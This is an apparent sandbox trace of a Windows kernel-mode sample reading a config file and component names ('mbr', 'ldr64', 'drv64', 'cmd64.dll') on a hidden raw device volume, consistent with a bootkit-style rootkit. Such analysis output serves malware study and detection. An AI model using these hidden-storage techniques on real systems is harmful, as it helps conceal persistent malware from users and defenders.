(in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.150] KeEnterCriticalRegion () [0124.150] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.150] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003502000 [0124.150] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.150] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.150] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.150] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.150] IdePortDispatch () returned 0x103 [0124.151] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.151] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.151] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.151] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.151] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.151] IdePortDispatch () returned 0x103 [0124.151] KeWaitForMutexObject () returned 0x0 [0124.151] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.151] KeLeaveCriticalRegion () [0124.151] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.151] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.151] KeEnterCriticalRegion () [0124.151] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.151] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.151] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.151] KeLeaveCriticalRegion () [0124.152] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.152] KeEnterCriticalRegion () [0124.152] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.152] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.152] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003befe70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.152] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.152] KeLeaveCriticalRegion () [0124.152] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.152] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.152] KeEnterCriticalRegion () [0124.152] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.152] ExFreePoolWithTag (P=0xfffffa8003befd60, Tag=0x0) [0124.152] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.152] KeLeaveCriticalRegion () [0124.152] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.152] ReleaseMutex (hMutex=0xf0) returned 1 [0124.152] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.152] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.152] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.152] KeEnterCriticalRegion () [0124.152] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.152] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.152] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.152] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.152] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.152] IdePortDispatch () returned 0x103 [0124.152] KeWaitForMutexObject () returned 0x0 [0124.152] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.152] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.152] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.152] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.152] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.152] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beb440 [0124.152] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.152] KeLeaveCriticalRegion () [0124.152] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.153] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.153] KeEnterCriticalRegion () [0124.153] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.153] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.153] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.153] KeLeaveCriticalRegion () [0124.153] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.153] KeEnterCriticalRegion () [0124.153] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.153] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.153] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.153] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.153] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.153] IdePortDispatch () returned 0x103 [0124.153] KeWaitForMutexObject () returned 0x0 [0124.153] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.153] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.153] KeLeaveCriticalRegion () [0124.153] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.153] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.153] KeEnterCriticalRegion () [0124.153] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.153] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003503000 [0124.153] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.153] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.153] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.153] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.153] IdePortDispatch () returned 0x103 [0124.154] KeWaitForMutexObject () returned 0x0 [0124.154] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.154] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.154] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.154] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.154] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.154] IdePortDispatch () returned 0x103 [0124.154] KeWaitForMutexObject () returned 0x0 [0124.154] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.154] KeLeaveCriticalRegion () [0124.154] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.154] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.154] KeEnterCriticalRegion () [0124.154] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.154] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.154] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.154] KeLeaveCriticalRegion () [0124.154] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.154] KeEnterCriticalRegion () [0124.154] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.154] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.154] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beef20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.155] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.155] KeLeaveCriticalRegion () [0124.155] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.155] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.155] KeEnterCriticalRegion () [0124.155] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.155] ExFreePoolWithTag (P=0xfffffa8003beb440, Tag=0x0) [0124.155] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.155] KeLeaveCriticalRegion () [0124.155] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.155] ReleaseMutex (hMutex=0xf0) returned 1 [0124.155] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.155] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.155] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.155] KeEnterCriticalRegion () [0124.155] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.155] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.155] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.155] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.155] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.155] IdePortDispatch () returned 0x103 [0124.155] KeWaitForMutexObject () returned 0x0 [0124.155] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.155] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.155] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.155] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.155] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.155] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bef4e0 [0124.155] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.155] KeLeaveCriticalRegion () [0124.155] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.155] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.155] KeEnterCriticalRegion () [0124.155] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.155] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.155] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.155] KeLeaveCriticalRegion () [0124.156] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.156] KeEnterCriticalRegion () [0124.156] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.156] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.156] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.156] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.156] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.156] IdePortDispatch () returned 0x103 [0124.156] KeWaitForMutexObject () returned 0x0 [0124.156] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.156] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.156] KeLeaveCriticalRegion () [0124.156] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.156] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.156] KeEnterCriticalRegion () [0124.156] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.156] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003504000 [0124.156] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.156] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.156] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.156] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.156] IdePortDispatch () returned 0x103 [0124.156] KeWaitForMutexObject () returned 0x0 [0124.156] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.156] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.156] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.156] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.156] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.156] IdePortDispatch () returned 0x103 [0124.157] KeWaitForMutexObject () returned 0x0 [0124.157] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.157] KeLeaveCriticalRegion () [0124.157] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.157] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.157] KeEnterCriticalRegion () [0124.157] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.157] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.157] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.157] KeLeaveCriticalRegion () [0124.157] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.157] KeEnterCriticalRegion () [0124.157] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.157] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.157] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003826290, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.157] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.157] KeLeaveCriticalRegion () [0124.157] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.157] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.157] KeEnterCriticalRegion () [0124.157] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.157] ExFreePoolWithTag (P=0xfffffa8003bef4e0, Tag=0x0) [0124.158] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.158] KeLeaveCriticalRegion () [0124.158] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.158] ReleaseMutex (hMutex=0xf0) returned 1 [0124.158] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.158] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.158] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.158] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.158] KeEnterCriticalRegion () [0124.158] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.158] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.158] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.158] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.158] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.158] IdePortDispatch () returned 0x103 [0124.158] KeWaitForMutexObject () returned 0x0 [0124.158] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.158] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.158] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.158] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.158] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.158] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.158] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.158] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.158] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.158] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.158] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.158] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.158] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.158] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.158] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.158] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.158] KeLeaveCriticalRegion () [0124.158] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.158] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.158] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.159] KeEnterCriticalRegion () [0124.159] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.159] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.159] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.159] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.159] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.159] IdePortDispatch () returned 0x103 [0124.159] KeWaitForMutexObject () returned 0x0 [0124.159] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.159] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.159] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.159] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.159] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.159] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.159] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.159] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.159] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.159] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.159] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.159] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.159] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.159] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.159] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.159] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.159] KeLeaveCriticalRegion () [0124.159] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.159] ReleaseMutex (hMutex=0x100) returned 1 [0124.159] Sleep (dwMilliseconds=0x2bf20) [0124.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d337770, dwHighDateTime=0x1d24fa4)) [0124.165] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.165] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.165] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.165] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.165] KeEnterCriticalRegion () [0124.166] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.166] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.166] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.166] 